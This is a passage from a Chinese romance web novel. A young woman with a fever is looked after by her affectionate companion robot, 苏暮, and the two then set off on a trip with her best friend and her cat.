初晚黎面色微红,全身无力还伴随疼痛和肌肉发软。
他赶忙走上前扶起对方,她身上滚烫的温度随即传到他身上,“发烧了?”,他如果判断无误的话便是如此。
苏暮停下了准备搀扶初晚黎进卧室的脚步,直接斩钉截铁,动作缓慢且轻柔地把她横抱起。
都这时候了还走什么路啊,“没力气的话就闭上眼睛休息吧。”
虽然他也不知道初晚黎会不会反感这么近距离的接触,但这时候他也顾不了这么多了,身体第一。
“好冷,好冷。”这短短几步路,她在怀里都不老实。
苏暮虽然是抱着她的,但还是和她保有了一点距离,俩人并没完全贴紧,但显然多此一举了,初晚黎四处寻找温暖,已经迷糊着主动抓紧他的衣服,身体往他胸口贴。
他轻轻掀开被子,俯下身把初晚黎放进去,又替她掖好被角,正准备找起身找找她家有没有备用药物的时候,手腕被她一只手扯住,力道不大,但苏暮也不忍心抽出。
“冷。”她嘴里还念念有词,身上也不时打着哆嗦。
苏暮顺着她,任由她把手放过去,谁知对方动作愈发大胆,另一只手也不闲着,伸出来直接抱住他胳膊,看来这下是没法脱身了。
他顺势躺在初晚黎身侧,许是感觉到了温度亦或是怀中抱了个胳膊有了踏实感,她也不再闹腾了,呼吸趋于平缓。
她脸颊红扑扑的,头上不断冒出微汗,眉头紧锁,还嘟着个小嘴,看起来很是不舒服,还下意识把他的胳膊抱得更紧了。
感觉到被初晚黎需要,苏暮心里有点别样的快乐,当然他也不希望初晚黎生病,不过这种感觉和平时又有些不同。
尽管他平日也想要和初晚黎贴近,但她总给人无形的距离感,让他也会时常无所适从。
看着她的睡颜,他忍不住戳了下她的脸,初晚黎很不耐烦且浑身抗拒扭了下身子,然后换了个侧躺的姿势。
好在人和人之间的想法不共通,不然要是苏暮知道,此时初晚黎的梦境,怕是会没有了一点感动。
初晚黎此时正梦到她的船沉底了,一只大章鱼正好出现还在海里游来游去,她死命抓住章鱼触须就是不放手,这章鱼倒好,先想甩开自己,但奈何她力量强大!
可恶的是,这章鱼最后还毫不客气拿触须戳了戳她脸,等她游上岸,必定给它铁板伺候!
虽说这样两个人无所事事躺在一起的时光很美好,但是初晚黎不吃药肯定是不行的,这脸已经憋得越来越红了,他把对方搂在怀里,慢慢拍打着她的后背,就像哄睡小孩那样。
初晚黎的情绪好像慢慢被安抚了一样,她松开了紧抱苏暮的那只手。
苏暮小心翼翼的撤出胳膊,生怕把她弄醒,赶忙掖好被子,确定她不会二次着凉后,跑到客厅翻箱倒柜。
“找到了。”苏暮拿出一个贴着小猫贴纸的透明小药盒,仔细地看了半天说明书,然后确认无误拿了几粒,又跑到厨房兑了点温度适宜的温开水,端到了卧室。
“该吃药啦。”苏暮轻轻拍了拍她的肩膀。
初晚黎半醒不醒迷瞪着眼,看到一个高大的身影出现在她面前,还坐在床头,因为床垫弹性较好的缘故,坐着的地方还稍有些凹陷下去,影响到了她的受力点,不是很舒服的感觉。
她不是一直一个人住吗,怎么会有人在她生病时出现,莫不是死神来接她了?
不过就算是死神,“不要穿着外衣坐我的床。”,死神到处跑,衣服肯定不够干净!
哪怕是她自己,没洗澡没换衣服也不能碰到床!
“?”苏暮搞不懂情况,八成是她做什么稀奇古怪的梦了还没清醒,“这衣服是干净的。”不过他还是耐着性子给一位思维混乱的病人解释。
“哦。”她深吸一口气,好像心中释怀了的样子,然后又闭上了眼,这死神身上有种熟悉的味道,让人安心。
“醒醒,要吃药了。”苏暮没辙,又轻晃了她一下,尽管他也不想扰了她的清梦。
“好。”她揉揉眼睛,行动缓慢想要靠自身力量撑起身。
苏暮连忙扶住她,然后确定对方清醒点后,往嘴里塞了一片药和一口水。
因为害怕初晚黎呛着,几片迷你药片,他愣是一片片喂下去的。
吃完后又拍拍她的背,确定顺利咽下去,没呛着卡着后,又用手护着她,好让她再次平躺着。
苏暮收拾好杯子后,顺势躺在她边上,继续边拍打她的背边哄睡。
许是他的安抚起了作用,初晚黎吃完药立马就再次进入了梦境。
这次大章鱼在岸上和她依偎在了一起,身上还香喷喷的!
当然,不是什么鱿鱼肉香,就是很好闻的味道。
章鱼时不时还拍拍她的背,好像在安抚她一样,可能是觉得这章鱼对她还不错,她倒也没像刚刚那样一心想铁板了它。
就是自己刚刚在海里被淹了,身上湿透了不说,这章鱼身上还有点热,靠着不是很舒服。
初晚黎安稳没几下,又开始下意识解扣子,苏暮刚准备闭上的眼睛一瞬间瞳孔都放大了,马上制止她。
一会儿走光了不说,还得再次着凉,万一病情加重还麻烦了。
而且这祖宗是那么传统的一个人,醒来要是发现她自己衣冠不整,不把他灭了也是落个半身不残。
这章鱼竟然制止自己脱衣服?湿了吧唧的衣服穿身上可是会生病的!她打算在岸上找
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点什么烤烤火,反正章鱼又不是人,在它面前脱了也没啥。
就像木木一样,在木木面前换衣服也没什么,但没想到这章鱼倒是反应大得很,难道章鱼智商高到看得懂人换衣服?而且也会害羞?
早就听闻这生物智商高,没想到高到这个程度,还有性别意识?抓去或许能卖个好价格,或者吃了也可以提高她的智商?
想到这,她决定这就去找木头点火。不过刚准备走几步就被它触须圈入了怀中。
得,跑不掉了。
苏暮看初晚黎掀了点被子,考虑到她可能是热了,也没打算管,谁知她下一秒立马手用力一挥,被子差点全掀了。
本来房子里就有点热,所以开了空调制冷,她这身上还有没干透的汗,一吹不就要发高烧的节奏,他马上把这不老实的家伙圈自己怀里,她这才没再动弹。
苏暮对于初晚黎的睡姿已经有了一定的了解,他虽然现在被允许躺在床上,但每次半夜就被挤到一个小角落。
因为初晚黎还是有些嫌弃,所以她俩是分两床被子睡,但是后半夜就从五五分的占地变成七三分,最后恨不得掉床底下,当然这其中还有木木的功劳。
木木横在她俩中间睡,还把腿儿都伸直伸长,生怕自己的占地面积不够。
初晚黎则是睡着睡着就成了四十五度斜角,还到处抢被子抢枕头。
好在苏暮本身睡眠还好,不过偶尔被挤得实在没地步了,他也会采取行动,比如用被子把她卷起来。
到目前为止初晚黎都还没发现,反正她睡眠看起来挺好的样子,每次睡醒都神清气爽。
没过多久她又冒了一身汗,看来药也见效了,苏暮放心了些,拿出纸巾给她擦了擦额头冒出的汗水后,也沉沉睡去了。
初晚黎梦到自己在岸上被突如其来的乌云笼罩,然后就是劈头盖脸的一场雨,湿热交加,那大章鱼倒是睡得安稳,她有点不爽,蹑手蹑脚走到它身边,一口“嗷”了下去,美名自己只是在品尝“章鱼刺身”。
“嘶~”苏暮被突然的产生痛感弄醒,迷糊睁眼一看,两排牙印。
罪魁祸首还突然露出了乐滋滋的笑容,他无奈笑了笑,戳了下她坏笑的脸庞。
现在温度也没刚刚那么高了,脸上不正常的红晕也散去。
看来是退烧了,都有力气干坏事了。
大章鱼口感没她想象的好,有点咬不动,她就很快放弃第二口了,老实躺在边上,吹着咸咸的海风,这时候要是有一杯咸甜味的饮品感觉更配。
…
时间过得很快,一下就到了下午三四点,木木不知道什么时候蜷成团躺在了初晚黎的右边。
她睁开眼的时候就看到,左边是在床边躺着的苏暮,右边是猫团。
说来也有点搞笑,一张一米八的双人床,活活被她们三睡成了单人小床的效果,右边那么宽的空间,可能是留给阿飘的。
初晚黎很早以前听过种说法,床上不要留大空隙,不然会被阿飘占据的。
从那以后,她便放了好多娃娃,自己也会下意识睡成四十五度,这样成斜角,床就轻松被她和木木占完了。
不过自从苏暮来,她也没这么干了,应该?
心里不知为何好像踏实了不少,也没有半夜惊醒和鬼压床了,没想到它还有安眠作用,这点倒不错。
她擦了把脖颈处的汗水,又伸了个懒腰,身上黏糊糊的,打算去洗个澡,又感觉好像忘了什么一样,半天也想不起来,干脆不想了。
被遗忘且静音的手机在此时不停的亮屏。
…
早就清理好行李的时衿,不停的给初晚黎的手机连环夺命call,奈何没人接。
虽然她也不是没见识过,初晚黎讨厌接电话这点她早就知道,静音也是她的常态,不过好在她知道她俩关系不一般,也有这个自信,不然她才不敢给她夺命电话。
上次这样做的人已经被她拉入永久黑名单,用初晚黎的话说就是,不懂得“分寸感”的人。
也不知道她在干吗,自己也不好贸然去她家,不过要是一天都联系不到,她一定会去,怕她独自在家出什么安全问题。
再等等吧,她戳开了游戏,等待…
13. 悸动
“你的意思是。”苏暮顿了一下,满脸不可置信看着初晚黎。
“你自己在家待几天。”
虽然有点对不起它,但是这样,家中也能有人照看木木不是,她出门也能放心许多。
苏暮低着头没回话,但也能依稀察觉到自他身上传来的失落感。
目光又看向她,不同的是这眼神黯淡无光。
“就几天而已。”初晚黎还在解释,但这对于苏暮而言无疑跟补了一刀差不多。
这可是几天见不到啊!
“你都不会想我的吗?”
他直白问出了心里的想法,自己可是争分夺秒的想要跟初晚黎贴在一起!绝对不想分开的!
他又转念一想,好像这段时间都是自己在一个劲儿表达想法,但初晚黎她。
从来没说过什么,更没直接回应自己。
难道都是自己的一厢情愿?
虽然并不强求,可他也算不上特别差吧,长得还行,性格也算讨喜,还是说她并不喜欢自己这样的?这样的话,他去做个整形手术来不来得及?
初晚黎看着苏暮这小脸白一阵黑一阵的,心中其实也有说不出口的苦涩。
被人喜欢肯定是开心的,但,若中奖的是别人,这家伙怕是也和自己没什么关系了吧,能这样坚定选择她,喜欢她,仅仅只是因为程序罢了。
虚拟的程序带来的虚假爱意。
她从来都不是不可替代的那一位。
要理智,虽然她之前觉得机器人在感情方面不会像人类那样,喜新厌旧或是爱上别人,不会产生没什么大的变数。
但,如今的她又开始害怕,程序说不定也有崩坏的那一天,尤其,它只是为爱而爱。
可能和别的玩家不同,她玩游戏的时候,代入感都不会特别强烈,更像是站在上帝角度,看着男主和她在游戏中设定的人物形象发糖。
你看,那个女主可能勇敢善良,可能温柔体贴,若她是男主,她也会忍不住爱上,但她呢。
自己若真是游戏中的女主,又有些什么呢。
回归现实生活的她也只不过是个普通人,自己也不知道自身有什么魅力可言。
或许就是当了女主,男主爱着她也只是因为游戏中的设定。
就像现在。
“想啊。”
但管他呢,她有点破罐子破摔,说着违心的假话,就把这当成游戏,而游戏就应该沉浸其中。
尽管她知道自己并无那么大的魅力。
“那你还离开我那么久???”苏暮无法理解,想的话,怎么还跑出去这么久!
“我朋友需要我。”这个理由很合理且无法反驳。
“谁。”苏暮没想到还有个横刀夺爱的!
他还没见过,所以是谁,魅力竟然比自己高,能让初晚黎弃他而去,自己一定要去会会对方。
“我闺蜜兼发小,时衿。”
“那为什么不能一起?介绍给我认识认识。”
没错,他要打进敌人内部,只要能更多了解初晚黎,他就能更明白初晚黎喜欢什么样的!这样自己就能改变了。
想到这,它眼里闪烁着光芒般,眼睛“buling~buling~”,一脸笑意看着初晚黎。
但她还是单纯了点,没想到苏暮这无伤大雅的小心思。
初晚黎每次和它对上眼神就有点心慌,它的眼神始终清澈透亮,带着少年感的纯真。
她有时都自我怀疑,是不是苏暮有什么自己不知晓的魔力,看几眼就能让自己心脏变差。
要真有这样的魔法,她一定时刻带着它出门,谁惹她,就让苏暮给对方施展这个魔法。
“不。”不过原则就是原则!她才不要现在就把苏暮介绍给时衿。
“为什么?”初晚黎也不知道为什么,心里就是不情愿。
苏暮意识到这注定是个无效沟通。
其实经过这段时间的相处,他对初晚黎的性格大致也有了些了解,比如如果现在他再问下去,极大的几率好感度会下降。
“好吧。”听着好像是认同的回应,但这不情愿的回答声音小的跟蚊子一样。
“照顾好自己和木木。”
“嗯。”苏暮转身走进卧室,初晚黎看着它的背影,很是落寞的样子,仿佛看到一只垂着耳朵和尾巴的大金毛,让她开始后悔自己的决定是不是太决绝了些。
是不是自己对苏暮有点太严苛了?上次也是,其实都是无伤大雅的小事,包括这次,就算跟着去了也不会怎么样。
“哎~”他在门口还深深叹了口气,然后十分缓慢地推开门,整个人就像使用了慢动作滤镜一样。
“等下。”初晚黎终究还是心软了。
苏暮秒变脸,快速松开拧门把的手,然后调整好表情,转过头,一副楚楚可怜的样子看着初晚黎。
“一起去吧。”
苏暮立马露出微笑,甚至感觉能看到个无形的尾巴在他身后摇啊摇,快翘上天的那种。
“好!”
只是初晚黎没注意到,苏暮那一瞬露出的狡黠坏笑,装可怜的小计划得逞咯~
这下不得不跟时衿解释了。
但是明天如果直接带着苏暮过去,怕是有点突兀。
时衿她在这方面也不是个喜欢惊喜的人,而且出于尊重,还是先征求下她的同意吧。
【有个事。】
初晚黎也不知道怎么开口比较好,万一时衿不同意,苏暮估计又要蹲角落伤心了。
【嗯?】对方倒是秒回。
【那个啊,我明天能不能带一个人。】还是说出口了。
【谁啊。】
【一个朋友。】她也不知道这样形容俩人关系妥不妥当。
【你跟我出去还带别的朋友,那我跟谁玩。】时衿忙着吃醋。
【男的。】
【…】
时衿发了几个点后,半天没回话,初晚黎正想着怎么解释时,她也没问别的,只是发了个,“好”。
自己就这么蒙混过关了?
【来说说吧,怎么认识的,什么关系,好看吗,性格怎么样。】果然躲不过她的八卦。
【不是你想的那样,他就只是个朋友。】解释很苍白,而且保不齐她俩见了面,苏暮自己会说漏。
真是头疼。
【“朋友”呀。那普通朋友的话为什么要一起去。】时衿又不是第一次认识她,可没见过哪位异性友人有如此好的待遇,别说一起出去了,恐怕她连联系方式都不会给。
【他说他想。】更苍白了。
【那之前那些人,是不想要你的联系方式?我看别人挺主动的。】
【哈哈哈哈,今天天气挺好。】
【明明乌云密布马上要下雨了。】
不留情面被戳穿了。
【也不早了,先睡吧。】她此刻倒出其不意的挺善解人意。
只不过内心想的是,“明天逮着了,可以随便问,不急这一会儿。”
【好好好。】初晚黎抹了下脑袋上的冷汗,真可怕。
不知情的苏暮还在哼着小曲愉快收拾着行李。
第一次和初晚黎出去旅游诶,多快乐啊,可以拍好多照片纪念。
而且都说旅行可以增进感情,再增进些,她一定有可能会爱上自己的!越想越开心~
…
“希望明天一切顺利。”初晚黎在心中为苏暮抹把汗,毕竟时衿可不是那么好说话的一个人。
…
早晨倒是无所事事的,想着时衿还得辞职交接,出发也是下午的事了,干脆赖在床上追番。
“啊哈哈哈哈哈。”苏暮没看到过初晚黎这么豪放笑过,这是头一次。
初晚黎笑完,突然停下播放,心情很好地在床上打了个滚后,又跳出卧室,过一会儿又进来,坐下,空格键,一系列动作一气呵成。
苏暮突然看不懂人类行为,脑子里含有的内容好像不包括这一部分,有点cpu要烧干的样子。
“啊哈哈哈哈。”又循环了一次。
“你在干嘛。”苏暮有点害怕,他不知道究竟现在是自己的知识储备不够,还是她不正常,这行为可以用诡异来形容了。
“哈哈哈哈。”说话前还不忘笑几声,“太搞笑了这剧情。”
原来是只是笑点低,“让我也看看。”
“给你个平板,你到那边看去。”初晚黎指了指外面。
“为什么不能一起。”
“诶~那我又得看一遍,观感不好。”所以他的重要程度还没剧情高???
“那刚刚的一系列行为?”他不懂。
“开心过头,发泄下心情。”苏暮人生中第一次听说开心了也需要发泄心情的。
正常的不都是负面情绪才用这个词嘛喂。
“而且,这剧情太有意思了,动弹下,浪费点时间和精力,就能省点看,不能一次看完了。”
更离谱的理由出现了。
“所以,我还没你的番剧重要!”他就差躲角落默默抹泪了,他有气到了呀!!!
初晚黎看它嘴巴噘老高,侧过头,双手环胸,时不时还瞟她几眼,还不暇思索坐到床头,横着它那两条大长腿,上身靠在床后的靠背上。
她下意识不是去回答问题,而是凑过身,两手捧住它的脸,掰到和她正视的角度。
苏暮心中泛起了不小的浪花,这是要干什么?难道他要被亲了?他要被喜欢的人亲了?赶忙闭上眼。
越想心中越小鹿乱撞,心跳无节奏的加快了起来。
再加之对于这方面事没经验,多少还有些不好意思。
尤其还是女孩子对他主动诶,一抹红晕从脸颊染到了耳根。
谁知。
“嘎~”初晚黎一只手撑着床,支撑着自己的上身,另一只捏住苏暮的嘴,搞怪的配了个音,“你是只小鸭子嘛,嘴巴翘这么高。”
这场面不是苏暮想要的!!!
但眼前的少女身上飘来阵好闻的柠檬香,还夹杂了一丝若有若无的淡淡花香,清新中还带点甜。<
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倒挺符合她给人的印象,看似有点清冷,但当接近后,会发现其中的柔软角落。
当然,这只是苏暮很主观的想法。
别人怎么想无所谓了,反正苏暮觉得她内心柔软,其他人发现不了更好,这是只有他知道的秘密。
谁要是和初晚黎初相识,苏暮跑去告诉人家,她本质其实是个柔软细腻的人,怕不是得到关爱傻子的目光。
有点像指着楼下那只满是伤痕的“丧彪”,给其他人解释,“它其实是指特别萌的小猫哦”的既视感。
“都有~这么可爱的小鸭子了~!那你~可不能~喜欢上别的小鸭子!”“小鸭子”嘴巴被捏住,说话含糊不清的。
“你说呀。”她顿了顿,“如果有天你不在了。”随后松开了手,“我怎么习惯呢。”心情又由晴天转阴。
“我一直都在的啊。”苏暮不太明白初晚黎此刻的想法。
“所以你不能占据我生活的所有。”她自顾自解释道,也不知道是说给谁听的,然后神色划过一抹不易被察觉的落寞,“只有我把注意力分散,不集中到任何一件事物或者人身上上,我才能保证我的生活正常。”
就比如,她儿时把父母当做自己生命中最重要的存在,她在乎她们所做的一切,在乎他们夸了另一个小朋友却说自己不如别人,在乎他们对自己会不会失望,在乎他们爱不爱自己。
过于在乎导致对方的任何行为都会被无限放大,最后成了种病态。
但又意识到某个自己不愿承认的事实,她其实并不被爱。
越是这样,越是产生了种执念。
更加的在意她们的评价,在意她们在不在乎自己,好像只要得到肯定的回答,就能说服自己,她是被爱着的啊,只是她们不善于表达。
只可惜,答案都是否定。
分散,只有分散在一件事情上的注意力,就能自欺欺人的告诉自己,其实不重要。
万事万物道理想通,所以通俗易懂的例子----当你恋爱时,就不要把所有注意力都放在那一个人身上。
不然的话,时间久了你就会发现,对方哪怕是晚回了你的消息,今天没有跟你道晚安,你都会抓狂,因为他占据了你的生活所有。
你把他看的太过重要,甚至可能还放弃了该有的一些和朋友之间的交流,你的时间全属于他。
但。
并不一定能得到善终。
待理智恢复,重新回看这段感情,就会觉得自己不过浪费了大把时间在一个得不到结局的感情上。
在乎对方,投入大把时间和精力本没大错,只不过,这是场赌注,赌赢了是对方人品好,赌输了,不过是人性使然。
对于苏暮,不管他对自己的感情变不变,她都不会把全部精力花费到对方身上,这一点,她始终不会退步。
这是她对于感情,自保且不伤人,所选择的最好解决方式。
“我会试着理解的。”
苏暮总感觉这情况有点超纲,喜欢一个人不就是黏黏黏?然后相互直抒爱意就好了?但苏暮选择尊重初晚黎的决定,她这么做肯定有自己的理由。
不管出于什么原因,他都会无条件支持她,试着去进入她的内心理解她。
毕竟,喜欢一个人最主要的就是要相互尊重,而不是高高在上的用自己所谓的经验主义去教导或是批判。
初晚黎看它的眼神变了又变,本来低垂着的眼眸蓦地有了神色,瞳孔微微放大,闪过微乎其微的惊讶,但又立马恢复正常。
也许是一个姿势保持久了,床垫本就柔软,手臂有些麻了,一个重心不稳,直接倒在了苏暮怀里。
如果此刻有听诊器,肯定能听到他的心跳速度已经超过正常范围了。
不过嘛,不用应该也听得到。
谁叫初晚黎现在,耳朵就紧贴到了他的心脏处,这有点暧昧的糟糕姿势,氛围倒是有点冒粉红泡泡是怎么回事。
对方身上传来好闻的水生调香味,像是在海边,四周被海水和岛屿包围,带着些海风的独特气味,随之而来还伴随着白花香,给人感觉温柔,却又带着侵略感,润物无声的飘散,自己周遭的空间都被这气味占据了的感觉,让她有点头晕脑胀。
明明只是跌入怀中,距离却好像不复存在。
耳畔是无法忽视的心跳声,连带着,呼吸好像也急促了起来,都能感受到对方的鼻息,随着胸口一起一伏的的呼吸,她的呼吸也连带着乱了步调。
很难想象这不是个人。
不对,这样说,听起来有点像在骂人。
“不好意思。”
理智还是战胜了感性,她赶忙双手撑起自己,跳下床,跑到客厅吹吹冷风清醒下脑子。
哦不对,暖风,暖风能清醒吗?管他的吹了再说。
苏暮半天回不过神,脑子还沉浸在刚刚粉红泡泡中。
只不过伴着温热体温和香味的离去,最后一个泡泡也被无情戳破了。
那份悸动,让他真的好像拥有了人类的心脏一样…
14. 出门喽
她洗完澡,脑子里的第一个想法就是,她今天晚上一定要吃到炭烤大章鱼!还要加上杯话梅咸柠檬,不过好像海鲜和维生素c不能同食。
没事,那也不能阻挡她,大不了吃完了隔久点,半夜再喝。
苏暮着身边空空如也,只有床垫子陷下去的痕迹还没来得及恢复,大抵也知晓她已经退烧了,体力应该也恢复了,不然不会跑这么快!
刚走出卧室就看到正在很潇洒擦头发的初晚黎。
才发完烧,身体还那么虚就去洗澡,要是换别人他估计就甩手不管了,再发烧又得费心思去照顾,一点自我保护意识都没有,可气。
但谁叫对方是初晚黎,他可以无底线破界。
“过来吧。”他朝初晚黎挥挥手,然后翻出吹风机。
“不要,我自己可以。”她在很多奇怪的方面有自己的执念,也很犟。
总的来说,她不喜欢表现出自己脆弱的一面,就算状态很糟糕,也会强行装作没事人,告诉自己,她坚持得住。
“你就当我喜欢帮你吹头发。”
苏暮看着初晚黎那腿都站不稳,甚至还不太明显的在打颤,但又不想戳穿她,免得她那脆弱的自尊心又掉一地。
“奇怪的癖好。”为了粉饰太平,她还充满攻击性的损了他一句。
“对对对。”苏暮带着无奈又宠溺的口吻说着。
他手靠近出风口,又调整了温度。
发丝随着一阵阵暖风飘动,苏暮轻轻给她梳理着,生怕弄疼了对方。
初晚黎倒也挺享受,温度不冷不热的。
而且如果是不厌烦的人,且对方手干净的时候,她还挺喜欢被摸头的,整个人会感到很放松,然后产生睡意,就比如现在。
吹了也不知多久,苏暮关上了电源,想要起身时,不小心碰到了初晚黎一下,她没了支撑点往侧边倒去。
他反应迅速扶住,让她靠在了自己身上,两个人就这样坐着靠在一起。
可能是生病的缘故,她今天的觉还挺多,苏暮也不好乱动,将那吹风先放到一边。
微微低头看去,兴许是因为洗完澡身心舒畅了,她脸上还带着微笑,呼吸均匀平稳,但没多久又开始不老实,下意识抱住了他的胳膊。
看到她气色基本恢复正常,也算放下心来,不知不觉俩人都睡着了。
…
“呀~”初晚黎突然吃痛地叫了一声。
“怎么了?”苏暮半梦半醒看了下怀中的初晚黎。
“脖子,脖子。”她一卡一卡地移动着自己僵硬的脖子,然后抬起也因为麻掉而不太灵活的胳膊,谨慎地辅助了一下自己不太能动的脖子。
“脖子怎么了?”苏暮紧张了起来。
“颈椎病给睡出来了。”她前阵子给积木投比赛的时候,因为通宵画稿,颈椎就又受了重创,所以这阵子她把手绘板都收起来了,生怕自己再加重。
没想到啊,没想到,又白休息自己的脖子了,这又不知道要缓到猴年马月,这不断了她买那些“小垃圾”的经济来源。
“帮你掰掰?”说实话,初晚黎是有点怨气的,这种不良体态睡觉,睡醒能舒服才怪,肯定不是脖子出问题就是腰出问题,苏暮这个大傻子也不知道把她叫醒或者放平。
理智又告诉她也怪不得别人,毕竟是自己先睡着的。
一股不知道往哪发泄的怨气憋在了心里。
“别碰我。”她语气冷冷的。
为了防止乱发脾气,她觉得俩人现在保持距离比较安全。
苏暮也没说什么,径直走了出去。
初晚黎又有点后悔,是不是自己刚刚脾气太大了,的确不该乱发脾气,但她还是好气愤!毕竟这个脖子疼的难受。
她高中那会儿,因为参加美术集训,从白天画到黑夜不能停手,愣是从个正常人变得病恹恹不说,还落得了个颈椎病,腰椎间盘突出附加脊柱侧弯。
医生看到不断复诊的她也颇为无奈,医嘱算是白讲了。
但是她又有何办法,就像大多数人的生活都有着自己的无可奈何,明知道熬夜不好,可因为工作,不得不去加班。
明知道吃一顿饿一顿不好,可就是有时候因为工作繁忙,没时间或者没胃口吃。
最后落下一堆病根子。
等到老了或是身体真的扛不住的时候,再看看过去以身体不健康作为代价的学业、工作,在生命与健康作为砝码的天秤上,它们连一点重量都撑不起。
学会在工作与生活中保护好自己,也许才是真正最重要的人生课题。
...
说不定自己刚刚又搞砸了一段关系,算了,没事,惹急了她去找沈确洗去苏暮的这段记忆!虽然是种可耻的作弊行为,但,这样她们又是完美如初的关系了。
“喏。”在她胡思乱想的时候,苏暮不知道什么时候站到了她的背后,还拿着几张不知从哪找来的膏药递给她。
“啊?”她明显愣了下,接过后有点不自在,“谢谢”。
好像每次瞎发脾气后,对方都没说什么,更不存在苛责她的情况出现,反而会像现在,还在乎着她的感受。
她突然觉得自己好差劲。
“对不起啊。”这几个字她在脑海里重复了好几次,但就是说不出来,可明显错的人是她。
哪怕苏暮这时跟她吵一下也行,至少让自己心里好受那么一点,可偏偏对方没有,心里的内疚感更深了。
“没事啦,知道你不舒服。”他安慰般揉了揉她的头,露出一个让人心安的笑容。
初晚黎心中却不怎么心安,究竟是它脾气太好,还是说,它压根都不在意她发脾气这件事…
心里有些焦躁,垂头丧气的样子半天也恢复不过来,平时那副佛系且冷冰冰的面具好似直接掉到了地上摔得稀烂。
想到之前的种种只是因为它不在乎,突然就有点打不起来劲,明明只是个机器罢了。
固然苏暮心思还算细腻,但也不能完全明白且理解她的少女心,患得患失,敏感多疑。
他的确不太在意初晚黎对自己乱发脾气这件事,毕竟是因为她身体不舒服嘛,就跟人在生气时候说的气话一样。
不舒服的时候乱发脾气,可能也只是想找个发泄口而已,并不是因为被出气的对象做了什么不可饶恕的事情。
其实与其说她乱发脾气这事,不如说他更怕被初晚黎讨厌,只要生气的理由不是抗拒他的存在,就算她冲自己发泄负面情绪也可以消化掉。
…
“喂~”要不是那个破手机一直亮屏灭屏,她才不想去看,现在一点心思都没有!
“咦~”对方的回复也很嫌弃,“你那什么要死不活的语气。”时衿等的没耐心了,又准备开始夺命call,好在这次第一通她就接听了。
“啊,你啊。”看起来精神状态不太好的样子,竟然连是谁都没看就接通了。
“我看你是忘了吧。”
“嗯?”忘了给自己一巴掌吧,她想到刚才,现在就想抽自己一巴掌。
“旅行!”
“!!!”初晚黎突然意识到,刚刚洗澡前总记得忘了件事,就是和时衿约好旅游这件事!“对不起对不起。”
“没事没事,所以我们什么时候出发。”
“马上,一个小时后汇合?”
“好。”
本来打算郁郁寡欢在家,也不想去想这事,今天少跟苏暮沟通就好,没想到,最后还是要出门,不得不和它产生交流了。
“苏暮。”她做好心里准备后,开了口。
“怎么了?”对方越是心情淡定,她越是有点烦的牙根痒痒,好像自己都激不起它心中浪花的样子。
“我们昨天说了,今天要出发的。”
“可是你早上病那么重。”他有点担心,“路上会不会不舒服。”
“没事。”其实也不是没事,只是答应了的事情,就得做到,尤其是时衿应该期待这事很久了。
“好吧。”苏暮也知道劝她没什么效果,就跟一头老黄牛立在田中间一样,你要拉它走,它不嫌你烦踹死你都算好的了,与其费那个牛劲儿,自己在路上多照顾她算了。
“完了,那木木怎么办。”这几天本来打算让苏暮在家看着的,所以她和时衿早就商量好打算多玩几天的,这下没人照顾了。
“带着。”两人,一机器人,一猫,这组合怕不是折腾初晚黎,等于她要管俩。
“那么重!”木木是个中等体型猫,还被初晚黎养到了十多斤,她可没力气负重前行。
“我负责,你好好玩和好好休息就好。”
听起来很靠谱的样子,可奈何初晚黎是个容易焦虑的人。
毕竟她从小到大身边的人都不是很靠谱,年纪小小的时候就被迫得学会自己照顾自己,免得被她那不靠谱的爹妈坑。
久而久之,什么事情都习惯亲力亲为。
效率挺高是没错,就是人比较累,而且不怎么信任他人。
就比如她让苏暮帮忙收拾行李叠衣服,可收拾完她还
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是要一次又一次检查,生怕漏掉了什么,自己也深知这样不好,可早已成为了一种惯性。
“我昨天已经收拾好了哦。”苏暮看初晚黎把他叠好的衣服又拿出来检查。
“嗯。”她点了点头,明知道自己还会检查,但还是让苏暮叠整齐了。
她也不知道自己这么做的意义在哪,或许是心里还是想试着去依靠信任别人,虽然基本都失败了。
苏暮收拾的倒是很好,一件件叠的整洁有序,看来之后收拾行李的任务应该可以放心交给他了吧?而且机器人做事,程序不出问题的话,应该比人要靠谱吧。
因为要带着木木的缘故,交通工具就改成了私家车,初晚黎约好了车,就让时衿改到她家楼下汇合,等下就直接从她家楼下出发喽。
…
时衿也有几个行李,不想搬上搬下,所以也就不打算上楼,选择直接在楼下树荫处等初晚黎。
她边等边拿出手机戳戳戳,慢悠悠打着游戏。
反正这家伙办事一向有点慢吞吞的,也不喜欢被催促。
不过催人也不是什么好习惯,她干脆认命般打起游戏。
别的倒没什么,要是虫子能走远点就好了。
一会儿功夫不到,几只蚊子就向她发动了攻击,她打着游戏还得时不时动弹一下,拍拍腿。
不然怕是初晚黎人没下来,她把她家楼下的蚊子都要喂饱了。
盼星星盼月亮,游戏都不知道打了几把了。
耳边终于出现了脚步声,时衿抬头一看,是个身材高大的男性路人甲角色,手上还拖着几个行李,看起来力气还挺大。
她又瞟了一眼。
你别说,这路人甲长得还挺帅,看起来气质还文质彬彬的,感觉是初晚黎会喜欢的类型。
【在楼下看到个帅哥。】
【?】初晚黎在忙着下楼,手上大包小包,很随意回复了一下。
【真的,看起来举手投足都挺温文尔雅那种。】
【呃。】她是真的没手打字了。
【他好像在搬行李,这会儿还在和司机说话。】
【声音也好好听。】
【你什么时候才下来啊。】
【等下人走了就看不到了。】她一连两条信息,生怕初晚黎错过了看这帅哥的机会。
…
初晚黎听着手机不停响,恨自己刚刚干嘛不静音。
苏暮刚把行李搬上车后,就准备上楼接一下初晚黎,刚上去就看到…
初晚黎刚关上门,又拽了一下门把手。
才走到电梯口,又回去拽了一下。
强迫症不轻的样子。
倒是难为了木木,它在窝里睡得正香,就被扯了出去,还是这么热的天。
看到初晚黎抱着它往回走,还以为初晚黎拽门是准备回去,没想到只是强迫症犯了。
“我来吧。”苏暮接过木木,轻松地抱起了它。
初晚黎在木木小的时候经常带它出去散步,可能是因为安全感不足或是觉得初晚黎不可靠,木木一出门就喜欢往她肩膀爬,不让她抱着。
也可能因为它是一只性格独立自主的猫吧,主打一个自己的猫生要掌握在自己手中。
后来长大了些,初晚黎的肩膀定然是承受不住它身上的肉肉们,所以后来出门溜猫这事也随着它体重增加而不了了之了。
这次出门有苏暮在,他的肩膀应该够木木整个蜷上去了。
果不其然,一下就自我安置好,还探个头往上望,不时嗅嗅他的脸。
不过说来也奇怪,上次木木被苏暮独自带出去倒是很乖,不像初晚黎带它,压根不让抱,宁可踩着她那瘦小的肩膀往下滑。
就这样,一人一猫一机器人出了门。
时衿听到脚步声又抬起头,这不,熟悉的身影就出现了。
